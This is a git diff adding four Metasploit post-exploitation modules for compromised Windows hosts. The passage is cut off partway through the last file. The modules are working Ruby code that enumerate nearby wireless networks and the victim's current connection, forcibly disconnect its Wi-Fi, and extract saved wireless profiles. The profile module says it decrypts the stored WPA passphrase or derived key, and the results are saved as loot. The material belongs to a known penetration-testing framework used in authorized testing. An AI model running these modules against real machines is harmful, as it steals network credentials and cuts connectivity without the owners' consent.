diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb new file mode 100644 index 0000000000..435aeee306 --- /dev/null +++ b/modules/post/windows/wlan/wlan_bss_list.rb @@ -0,0 +1,264 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Wireless BSS Info', + 'Description' => %q{ + This module gathers information about the wireless Basic Service Sets + available to the victim machine. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TheLightCosine '], + 'Version' => '$Revision$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + + #Opens memory access into the host process + mypid = client.sys.process.getpid + @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS) + @wlanapi = client.railgun.wlanapi + + wlan_connections= "Wireless LAN Active Connections: \n" + + wlan_handle = open_handle() + + wlan_iflist = enum_interfaces(wlan_handle) + + networks = [] + + wlan_iflist.each do |interface| + #Scan with the interface, then wait 10 seconds to give it time to finish + #If we don't wait we can get unpredicatble results. May be a race condition + scan_results = @wlanapi.WlanScan(wlan_handle,interface['guid'],nil,nil,nil) + sleep(10) + + #Grab the list of available Basic Service Sets + bss_list = wlan_get_networks(wlan_handle,interface['guid']) + networks << bss_list + end + + #flatten and uniq the array to try and keep a unique lsit of networks + networks.flatten! + networks.uniq! + network_list= "Available Wireless Networks\n\n" + networks.each do |network| + netout = "SSID: #{network['ssid']} \n\tBSSID: #{network['bssid']} \n\tType: #{network['type']}\n\t" + netout << "PHY: #{network['physical']} \n\tRSSI: #{network['rssi']} \n\tSignal: #{network['signal']}\n" + print_good(netout) + network_list << netout + end + + #strip out any nullbytes for safe loot storage + network_list.gsub!(/\x00/,"") + store_loot("host.windows.wlan.networks", "text/plain", session, network_list, "wlan_networks.txt", "Available Wireless LAN Networks") + + #close the Wlan API Handle + closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) + if closehandle['return'] == 0 + print_status("WlanAPI Handle Closed Successfully") + else + print_error("There was an error closing the Handle") + end + end + + + def open_handle + begin + wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4) + rescue + print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target") + return nil + end + return wlhandle['phClientHandle'] + end + + + def wlan_get_networks(wlan_handle,guid) + + networks = [] + + bss_list = @wlanapi.WlanGetNetworkBssList(wlan_handle,guid,nil,3,true,nil,4) + print_status(bss_list.inspect) + + pointer = bss_list['ppWlanBssList'] + totalsize = @host_process.memory.read(pointer,4) + totalsize = totalsize.unpack("V")[0] + + pointer = (pointer + 4) + numitems = @host_process.memory.read(pointer,4) + numitems = numitems.unpack("V")[0] + + print_status("Number of Networks: #{numitems}") + + #Iterate through each BSS + (1..numitems).each do |i| + bss={} + + #If the length of the SSID is 0 then something is wrong. Skip this one + pointer = (pointer + 4) + len_ssid = @host_process.memory.read(pointer,4) + unless len_ssid.unpack("V")[0] + next + end + + #Grabs the ESSID + pointer = (pointer + 4) + ssid = @host_process.memory.read(pointer,32) + bss['ssid'] = ssid.gsub(/\x00/,"") + + #Grab the BSSID/MAC Address of the AP + pointer = (pointer + 36) + bssid = @host_process.memory.read(pointer,6) + bssid = bssid.unpack("H*")[0] + bssid.insert(2,":") + bssid.insert(5,":") + bssid.insert(8,":") + bssid.insert(11,":") + bssid.insert(14,":") + bss['bssid'] = bssid + + #Get the BSS Type + pointer = (pointer + 8) + bsstype = @host_process.memory.read(pointer,4) + bsstype = bsstype.unpack("V")[0] + case bsstype + when 1 + bss['type'] = "Infrastructure" + when 2 + bss['type'] = "Independent" + when 3 + bss['type'] = "Any" + else + bss['type'] = "Unknown BSS Type" + end + + #Get the Physical Association Type + pointer = (pointer + 4) + phy_type = @host_process.memory.read(pointer,4) + phy_type = phy_type.unpack("V")[0] + case phy_type + when 1 + bss['physical'] = "Frequency-hopping spread-spectrum (FHSS)" + when 2 + bss['physical'] = "Direct sequence spread spectrum (DSSS)" + when 3 + bss['physical'] = "Infrared (IR) baseband" + when 4 + bss['physical'] = "Orthogonal frequency division multiplexing (OFDM)" + when 5 + bss['physical'] = "High-rate DSSS (HRDSSS)" + when 6 + bss['physical'] = "Extended rate PHY type" + when 7 + bss['physical'] = "802.11n PHY type" + else + bss['physical'] = "Unknown Association Type" + end + + #Get the Recieved Signal Strength Indicator + pointer = (pointer + 4) + rssi = @host_process.memory.read(pointer,4) + rssi = getle_signed_int(rssi) + bss['rssi'] = rssi + + #Get the signal strength + pointer = (pointer + 4) + signal = @host_process.memory.read(pointer,4) + bss['signal'] = signal.unpack("V")[0] + + #skip all the rest of the data points as they aren't particularly useful + pointer = (pointer + 296) + + networks << bss + end + return networks + end + + def enum_interfaces(wlan_handle) + + iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4) + pointer= iflist['ppInterfaceList'] + + numifs = @host_process.memory.read(pointer,4) + numifs = numifs.unpack("V")[0] + + interfaces = [] + + #Set the pointer ahead to the first element in the array + pointer = (pointer + 8) + (1..numifs).each do |i| + interface = {} + #Read the GUID (16 bytes) + interface['guid'] = @host_process.memory.read(pointer,16) + pointer = (pointer + 16) + #Read the description(up to 512 bytes) + interface['description'] = @host_process.memory.read(pointer,512) + pointer = (pointer + 512) + #Read the state of the interface (4 bytes) + state = @host_process.memory.read(pointer,4) + pointer = (pointer + 4) + #Turn the state into human readable form + state = state.unpack("V")[0] + case state + when 0 + interface['state'] = "The interface is not ready to operate." + when 1 + interface['state'] = "The interface is connected to a network." + when 2 + interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected." + when 3 + interface['state'] = "The interface is disconnecting from the current network." + when 4 + interface['state'] = "The interface is not connected to any network." + when 5 + interface['state'] = "The interface is attempting to associate with a network." + when 6 + interface['state'] = "Auto configuration is discovering the settings for the network." + when 7 + interface['state'] = "The interface is in the process of authenticating." + else + interface['state'] = "Unknown State" + end + interfaces << interface + end + return interfaces + end + + def getle_signed_int(str) + arr, bits, num = str.unpack('V*'), 0, 0 + arr.each do |int| + num += int << bits + bits += 32 + end + num >= 2**(bits-1) ? num - 2**bits : num + end + + #Convert the GUID to human readable form + def guid_to_string(guid) + aguid = guid.unpack("H*")[0] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] + sguid << "-" + aguid[20,12] + "}" + return sguid + end + +end diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb new file mode 100644 index 0000000000..49e4e6bd71 --- /dev/null +++ b/modules/post/windows/wlan/wlan_current_connection.rb @@ -0,0 +1,319 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Wireless Current Connection Info', + 'Description' => %q{ + This module gathers information about the current connection on each + wireless lan interface on the target machine. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TheLightCosine '], + 'Version' => '$Revision$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + #Opens memory access into the host process + mypid = client.sys.process.getpid + @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS) + @wlanapi = client.railgun.wlanapi + + wlan_connections= "Wireless LAN Active Connections: \n" + wlan_handle = open_handle() + wlan_iflist = enum_interfaces(wlan_handle) + + wlan_iflist.each do |interface| + connect_info = query_current_connection(wlan_handle, interface['guid']) + guid = guid_to_string(interface['guid']) + wlan_connection = "GUID: #{guid} \nDescription: #{interface['description']} \nState: #{interface['state']}\n" + if (connect_info) + wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n" + wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n" + wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n" + wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n" + wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n" + wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n" + wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n" + else + wlan_connection << "\tThis interface is not currently connected to a network\n" + end + print_good(wlan_connection) + wlan_connections << wlan_connection + end + + wlan_connections.gsub!(/\x00/,"") + store_loot("host.windows.wlan.connections", "text/plain", session, wlan_connections, "wlan_connections.txt", "Wireless LAN Connections") + #close the Wlan API Handle + closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) + if closehandle['return'] == 0 + print_status("WlanAPI Handle Closed Successfully") + else + print_error("There was an error closing the Handle") + end + end + + + def open_handle + begin + wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4) + rescue + print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target") + return nil + end + return wlhandle['phClientHandle'] + end + + def query_current_connection(wlan_handle, guid) + connection={} + conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil) + #Grab the pointer to our data structure. We skip voer the Interface State since we already have it + #We interpret the connection mode used first + pointer = conn_info['ppData'] + pointer = (pointer + 4) + mode = @host_process.memory.read(pointer,4) + mode = mode.unpack("V")[0] + case mode + when 0 + connection['mode'] = "A profile is used to make the connection." + when 1 + connection['mode'] = "A temporary profile is used to make the connection." + when 2 + connection['mode'] = "Secure discovery is used to make the connection." + when 3 + connection['mode'] = "Unsecure discovery is used to make the connection." + when 4 + connection['mode'] = "connection initiated by wireless service automatically using a persistent profile." + when 5 + connection['mode'] = "Invalid connection mode." + else + connection['state'] = "Unknown connection Mode." + end + + #Grab the wirelessprofile name used in the connection + pointer = (pointer+4) + profile = @host_process.memory.read(pointer,512) + connection['profile'] = profile.gsub(/\x00/,"") + + #Check the size of the SSID value. If we get nothing back, the interface is not currently connected + #We return nil and deal with the results back in the calling function + pointer = (pointer+512) + len_ssid = @host_process.memory.read(pointer,4) + unless len_ssid.unpack("V")[0] + return nil + end + + #Grabs the SSID of the BSS connected to + pointer = (pointer + 4) + ssid = @host_process.memory.read(pointer,32) + connection['ssid'] = ssid.gsub(/\x00/,"") + + #Grabs what type of a BSS this is and itnerpretes it into human readable + pointer = (pointer + 32) + bsstype = @host_process.memory.read(pointer,4) + bsstype = bsstype.unpack("V")[0] + case bsstype + when 1 + connection['type'] = "Infrastructure" + when 2 + connection['type'] = "Independent" + when 3 + connection['type'] = "Any" + else + connection['type'] = "Unknown BSS Type" + end + + #Grabs the BSS MAC address + pointer = (pointer + 4) + bssid = @host_process.memory.read(pointer,6) + bssid = bssid.unpack("H*")[0] + bssid.insert(2,":") + bssid.insert(5,":") + bssid.insert(8,":") + bssid.insert(11,":") + bssid.insert(14,":") + connection['bssid'] = bssid + + #Grabs the physical association type and interprets it into human readable + pointer = (pointer + 8) + phy_type = @host_process.memory.read(pointer,4) + phy_type = phy_type.unpack("V")[0] + case phy_type + when 1 + connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)" + when 2 + connection['physical'] = "Direct sequence spread spectrum (DSSS)" + when 3 + connection['physical'] = "Infrared (IR) baseband" + when 4 + connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)" + when 5 + connection['physical'] = "High-rate DSSS (HRDSSS)" + when 6 + connection['physical'] = "Extended rate PHY type" + when 7 + connection['physical'] = "802.11n PHY type" + else + connection['physical'] = "Unknown Association Type" + end + + #Grabs the signal strength value + pointer = (pointer + 8) + signal = @host_process.memory.read(pointer,4) + connection['signal'] = signal.unpack("V")[0] + + #Grabs the recieve rate value + pointer = (pointer + 4) + rxrate = @host_process.memory.read(pointer,4) + connection['rxrate'] = rxrate.unpack("V")[0] + + #Grabs the transmit rate value + pointer = (pointer + 4) + txrate = @host_process.memory.read(pointer,4) + connection['txrate'] = txrate.unpack("V")[0] + + #Checks if security is enabled on this BSS + pointer = (pointer + 4) + security_enabled = @host_process.memory.read(pointer,4) + if security_enabled.unpack("V")[0] == 1 + connection['security'] = "Yes" + else + connection['security'] = "No" + end + + #Checks of 802.1x Authentication is used + pointer = (pointer + 4) + onex = @host_process.memory.read(pointer,4) + if onex.unpack("V")[0] == 1 + connection['oneX'] = "Yes" + else + connection['oneX'] = "No" + end + + #Determines wat Authentication Algorithm is being used + pointer = (pointer + 4) + algo = @host_process.memory.read(pointer,4) + algo = algo.unpack("V")[0] + case algo + when 1 + connection['auth'] = "802.11 Open" + when 2 + connection['auth'] = "802.11 Shared" + when 3 + connection['auth'] = "WPA" + when 4 + connection['auth'] = "WPA-PSK" + when 5 + connection['auth'] = "WPA-None" + when 6 + connection['auth'] = "RSNA" + when 7 + connection['auth'] = "RSNA with PSK" + else + connection['auth'] = "Unknown Algorithm" + end + + #Determines what Cipher is being used + pointer = (pointer + 4) + cipher = @host_process.memory.read(pointer,4) + cipher = cipher.unpack("V")[0] + case cipher + when 0 + connection['cipher'] = "None" + when 1 + connection['cipher'] = "WEP-40" + when 2 + connection['cipher'] = "TKIP" + when 4 + connection['cipher'] = "CCMP" + when 5 + connection['cipher'] = "WEP-104" + when 256 + connection['cipher'] = "Use Group Key" + when 257 + connection['cipher'] = "WEP" + else + connection['cipher'] = "Unknown Cipher" + end + return connection + end + + + def enum_interfaces(wlan_handle) + iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4) + pointer= iflist['ppInterfaceList'] + + numifs = @host_process.memory.read(pointer,4) + numifs = numifs.unpack("V")[0] + + interfaces = [] + + #Set the pointer ahead to the first element in the array + pointer = (pointer + 8) + (1..numifs).each do |i| + + interface = {} + #Read the GUID (16 bytes) + interface['guid'] = @host_process.memory.read(pointer,16) + pointer = (pointer + 16) + #Read the description(up to 512 bytes) + interface['description'] = @host_process.memory.read(pointer,512) + pointer = (pointer + 512) + #Read the state of the interface (4 bytes) + state = @host_process.memory.read(pointer,4) + pointer = (pointer + 4) + + #Turn the state into human readable form + state = state.unpack("V")[0] + case state + when 0 + interface['state'] = "The interface is not ready to operate." + when 1 + interface['state'] = "The interface is connected to a network." + when 2 + interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected." + when 3 + interface['state'] = "The interface is disconnecting from the current network." + when 4 + interface['state'] = "The interface is not connected to any network." + when 5 + interface['state'] = "The interface is attempting to associate with a network." + when 6 + interface['state'] = "Auto configuration is discovering the settings for the network." + when 7 + interface['state'] = "The interface is in the process of authenticating." + else + interface['state'] = "Unknown State" + end + interfaces << interface + end + return interfaces + end + + #Convert the GUID to human readable form + def guid_to_string(guid) + aguid = guid.unpack("H*")[0] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] + sguid << "-" + aguid[20,12] + "}" + return sguid + end + +end diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb new file mode 100644 index 0000000000..28c2ed3c26 --- /dev/null +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -0,0 +1,354 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Disconnect Wireless Connection ', + 'Description' => %q{ + This module disconnects the current wireless network connection + on the specified interface. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TheLightCosine '], + 'Version' => '$Revision$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptInt.new("Interface", [true, "The Index of the Interface to Disconnect. Leave at 0 if only one IF", 0]) + ]) + end + + def run + + #Opens memory access into the host process + mypid = client.sys.process.getpid + @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS) + @wlanapi = client.railgun.wlanapi + + wlan_connections= "Wireless LAN Active Connections: \n" + wlan_handle = open_handle() + wlan_iflist = enum_interfaces(wlan_handle) + if wlan_iflist[datastore['Interface']] + connect_info = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid']) + if connect_info + guid = guid_to_string(wlan_iflist[datastore['Interface']]['guid']) + wlan_connection = "GUID: #{guid} \nDescription: #{wlan_iflist[datastore['Interface']]['description']} \nState: #{wlan_iflist[datastore['Interface']]['state']}\n" + wlan_connection << "Currently Connected to: \n" + wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n" + wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n" + wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n" + wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n" + wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n" + wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n" + wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n" + print_status(wlan_connection) + + print_status("Disconnecting...") + @wlanapi.WlanDisconnect(wlan_handle,wlan_iflist[datastore['Interface']]['guid'],nil) + sleep(10) + + connected = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid']) + if connected + print_error("The Interface still appears to be connected.") + closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) + if closehandle['return'] == 0 + print_status("WlanAPI Handle Closed Successfully") + else + print_error("There was an error closing the Handle") + end + return + else + print_good("The Interface has been disconnected successfully") + end + else + print_error("This Interface is not currently connected to a network.") + closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) + if closehandle['return'] == 0 + print_status("WlanAPI Handle Closed Successfully") + else + print_error("There was an error closing the Handle") + end + return + end + else + print_error("The Supplied Interface Index is Invalid") + closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) + if closehandle['return'] == 0 + print_status("WlanAPI Handle Closed Successfully") + else + print_error("There was an error closing the Handle") + end + return + end + + #close the Wlan API Handle + closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) + if closehandle['return'] == 0 + print_status("WlanAPI Handle Closed Successfully") + else + print_error("There was an error closing the Handle") + end + end + + + def open_handle + begin + wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4) + rescue + print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target") + return nil + end + return wlhandle['phClientHandle'] + end + + def query_current_connection(wlan_handle, guid) + connection={} + conn_info = @wlanapi.WlanQueryInterface(wlan_handle,guid,7,nil,4,4,nil) + + #Grab the pointer to our data structure. We skip voer the Interface State since we already have it + #We interpret the connection mode used first + pointer = conn_info['ppData'] + pointer = (pointer + 4) + mode = @host_process.memory.read(pointer,4) + mode = mode.unpack("V")[0] + case mode + when 0 + connection['mode'] = "A profile is used to make the connection." + when 1 + connection['mode'] = "A temporary profile is used to make the connection." + when 2 + connection['mode'] = "Secure discovery is used to make the connection." + when 3 + connection['mode'] = "Unsecure discovery is used to make the connection." + when 4 + connection['mode'] = "connection initiated by wireless service automatically using a persistent profile." + when 5 + connection['mode'] = "Invalid connection mode." + else + connection['state'] = "Unknown connection Mode." + end + + #Grab the wirelessprofile name used in the connection + pointer = (pointer+4) + profile = @host_process.memory.read(pointer,512) + connection['profile'] = profile.gsub(/\x00/,"") + + #Check the size of the SSID value. If we get nothing back, the interface is not currently connected + #We return nil and deal with the results back in the calling function + pointer = (pointer+512) + len_ssid = @host_process.memory.read(pointer,4) + unless len_ssid.unpack("V")[0] + return nil + end + + #Grabs the SSID of the BSS connected to + pointer = (pointer + 4) + ssid = @host_process.memory.read(pointer,32) + connection['ssid'] = ssid.gsub(/\x00/,"") + + #Grabs what type of a BSS this is and itnerpretes it into human readable + pointer = (pointer + 32) + bsstype = @host_process.memory.read(pointer,4) + bsstype = bsstype.unpack("V")[0] + case bsstype + when 1 + connection['type'] = "Infrastructure" + when 2 + connection['type'] = "Independent" + when 3 + connection['type'] = "Any" + else + connection['type'] = "Unknown BSS Type" + end + + #Grabs the BSS MAC address + pointer = (pointer + 4) + bssid = @host_process.memory.read(pointer,6) + bssid = bssid.unpack("H*")[0] + bssid.insert(2,":") + bssid.insert(5,":") + bssid.insert(8,":") + bssid.insert(11,":") + bssid.insert(14,":") + connection['bssid'] = bssid + + #Grabs the physical association type and interprets it into human readable + pointer = (pointer + 8) + phy_type = @host_process.memory.read(pointer,4) + phy_type = phy_type.unpack("V")[0] + case phy_type + when 1 + connection['physical'] = "Frequency-hopping spread-spectrum (FHSS)" + when 2 + connection['physical'] = "Direct sequence spread spectrum (DSSS)" + when 3 + connection['physical'] = "Infrared (IR) baseband" + when 4 + connection['physical'] = "Orthogonal frequency division multiplexing (OFDM)" + when 5 + connection['physical'] = "High-rate DSSS (HRDSSS)" + when 6 + connection['physical'] = "Extended rate PHY type" + when 7 + connection['physical'] = "802.11n PHY type" + else + connection['physical'] = "Unknown Association Type" + end + + #Grabs the signal strength value + pointer = (pointer + 8) + signal = @host_process.memory.read(pointer,4) + connection['signal'] = signal.unpack("V")[0] + + #Grabs the recieve rate value + pointer = (pointer + 4) + rxrate = @host_process.memory.read(pointer,4) + connection['rxrate'] = rxrate.unpack("V")[0] + + #Grabs the transmit rate value + pointer = (pointer + 4) + txrate = @host_process.memory.read(pointer,4) + connection['txrate'] = txrate.unpack("V")[0] + + #Checks if security is enabled on this BSS + pointer = (pointer + 4) + security_enabled = @host_process.memory.read(pointer,4) + if security_enabled.unpack("V")[0] == 1 + connection['security'] = "Yes" + else + connection['security'] = "No" + end + + #Checks of 802.1x Authentication is used + pointer = (pointer + 4) + onex = @host_process.memory.read(pointer,4) + if onex.unpack("V")[0] == 1 + connection['oneX'] = "Yes" + else + connection['oneX'] = "No" + end + + #Determines wat Authentication Algorithm is being used + pointer = (pointer + 4) + algo = @host_process.memory.read(pointer,4) + algo = algo.unpack("V")[0] + case algo + when 1 + connection['auth'] = "802.11 Open" + when 2 + connection['auth'] = "802.11 Shared" + when 3 + connection['auth'] = "WPA" + when 4 + connection['auth'] = "WPA-PSK" + when 5 + connection['auth'] = "WPA-None" + when 6 + connection['auth'] = "RSNA" + when 7 + connection['auth'] = "RSNA with PSK" + else + connection['auth'] = "Unknown Algorithm" + end + + #Determines what Cipher is being used + pointer = (pointer + 4) + cipher = @host_process.memory.read(pointer,4) + cipher = cipher.unpack("V")[0] + case cipher + when 0 + connection['cipher'] = "None" + when 1 + connection['cipher'] = "WEP-40" + when 2 + connection['cipher'] = "TKIP" + when 4 + connection['cipher'] = "CCMP" + when 5 + connection['cipher'] = "WEP-104" + when 256 + connection['cipher'] = "Use Group Key" + when 257 + connection['cipher'] = "WEP" + else + connection['cipher'] = "Unknown Cipher" + end + return connection + end + + + def enum_interfaces(wlan_handle) + iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4) + pointer= iflist['ppInterfaceList'] + + numifs = @host_process.memory.read(pointer,4) + numifs = numifs.unpack("V")[0] + interfaces = [] + + #Set the pointer ahead to the first element in the array + pointer = (pointer + 8) + (1..numifs).each do |i| + interface = {} + #Read the GUID (16 bytes) + interface['guid'] = @host_process.memory.read(pointer,16) + pointer = (pointer + 16) + #Read the description(up to 512 bytes) + interface['description'] = @host_process.memory.read(pointer,512) + pointer = (pointer + 512) + #Read the state of the interface (4 bytes) + state = @host_process.memory.read(pointer,4) + pointer = (pointer + 4) + + #Turn the state into human readable form + state = state.unpack("V")[0] + case state + when 0 + interface['state'] = "The interface is not ready to operate." + when 1 + interface['state'] = "The interface is connected to a network." + when 2 + interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected." + when 3 + interface['state'] = "The interface is disconnecting from the current network." + when 4 + interface['state'] = "The interface is not connected to any network." + when 5 + interface['state'] = "The interface is attempting to associate with a network." + when 6 + interface['state'] = "Auto configuration is discovering the settings for the network." + when 7 + interface['state'] = "The interface is in the process of authenticating." + else + interface['state'] = "Unknown State" + end + interfaces << interface + end + return interfaces + end + + #Convert the GUID to human readable form + def guid_to_string(guid) + aguid = guid.unpack("H*")[0] + sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2] + sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4] + sguid << "-" + aguid[20,12] + "}" + return sguid + end + +end diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb new file mode 100644 index 0000000000..0646265aa7 --- /dev/null +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -0,0 +1,173 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Wireless Profile', + 'Description' => %q{ + This module extracts saved Wireless LAN profiles. It will also try to decrypt + the network key material. Behaviour is slightly different bewteen OS versions + when it comes to WPA. In Windows Vista/7 we will get the passphrase. In + Windows XP we will get the PBKDF2 derived key. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TheLightCosine '], + 'Version' => '$Revision$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + #Opens memory access into the host process + mypid = client.sys.process.getpid + @host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS) + @wlanapi = client.railgun.wlanapi + wlan_info = "Wireless LAN Profile Information \n" + wlan_handle = open_handle() + wlan_iflist = enum_interfaces(wlan_handle) + + #Take each enumerated interface and gets the profile information available on each one + wlan_iflist.each do |interface| + wlan_profiles = enum_profiles(wlan_handle, interface['guid']) + guid = guid_to_string(interface['guid']) + + #Store all the information to be saved as loot + wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n" + wlan_profiles.each do |profile| + wlan_info << " Profile Name: #{profile['name']}\n" + wlan_info << profile['xml'] + end + end + #strip the nullbytes out of the text for safe outputting to loot + wlan_info.gsub!(/\x00/,"") + print_good(wlan_info) + store_loot("host.windows.wlan.profiles", "text/plain", session, wlan_info, "wlan_profiles.txt", "Wireless LAN Profiles") + + #close the Wlan API Handle + closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil) + if closehandle['return'] == 0 + print_status("WlanAPI Handle Closed Successfully") + else + print_error("There was an error closing the Handle") + end + end + + + def open_handle + begin + wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4) + rescue + print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target") + return nil + end + return wlhandle['phClientHandle'] + end + + + def enum_interfaces(wlan_handle) + iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4) + pointer= iflist['ppInterfaceList'] + numifs = @host_process.memory.read(pointer,4) + numifs = numifs.unpack("V")[0] + interfaces = [] + + #Set the pointer ahead to the first element in the array + pointer = (pointer + 8) + (1..numifs).each do |i| + interface = {} + #Read the GUID (16 bytes) + interface['guid'] = @host_process.memory.read(pointer,16) + pointer = (pointer + 16) + #Read the description(up to 512 bytes) + interface['description'] = @host_process.memory.read(pointer,512) + pointer = (pointer + 512) + #Read the state of the interface (4 bytes) + state = @host_process.memory.read(pointer,4) + pointer = (pointer + 4) + + #Turn the state into human readable form + state = state.unpack("V")[0] + case state + when 0 + interface['state'] = "The interface is not ready to operate." + when 1 + interface['state'] = "The interface is connected to a network." + when 2 + interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected." + when 3 + interface['state'] = "The interface is disconnecting from the current network." + when 4 + interface['state'] = "The interface is not connected to any network." + when 5 + interface['state'] = "The interface is attempting to associate with a network." + when 6 + interface['state'] = "Auto configuration is discovering the settings for the network." + when 7 + interface['state'] = "The interface is in the process of authenticating." + else + interface['state'] = "Unknown State" + end + interfaces << interface + end + return interfaces + end + + + def enum_profiles(wlan_handle,guid) + profiles=[] + proflist = @wlanapi.WlanGetProfileList(wlan_handle,guid,nil,4) + ppointer = proflist['ppProfileList'] + numprofs = @host_process.memory.read(ppointer,4) + numprofs = numprofs.unpack("V")[0] + ppointer = (ppointer + 8) + (1..numprofs).each do |j| + profile={} + #Read the profile name (up to 512 bytes) + profile['name'] = @host_process.memory.read(ppointer,512) + ppointer = (ppointer + 516) + + rprofile = @wlanapi.WlanGetProfile(wlan_handle,guid,profile['name'],nil,4,4,4) + xpointer= rprofile['pstrProfileXML'] + + #The size of the XML string is unknown. If we read too far ahead we will cause it to break + #So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes + readsz = 1000 + profmem = @host_process.memory.read(xpointer,readsz) + until profmem[/(\x00){2}/] + readsz = (readsz + 100) + profmem = @host_process.memory.read(xpointer,readsz) + end + + #Slice off any bytes we picked up after the string terminates + profmem.slice!(profmem.index(/(\x00){2}/), 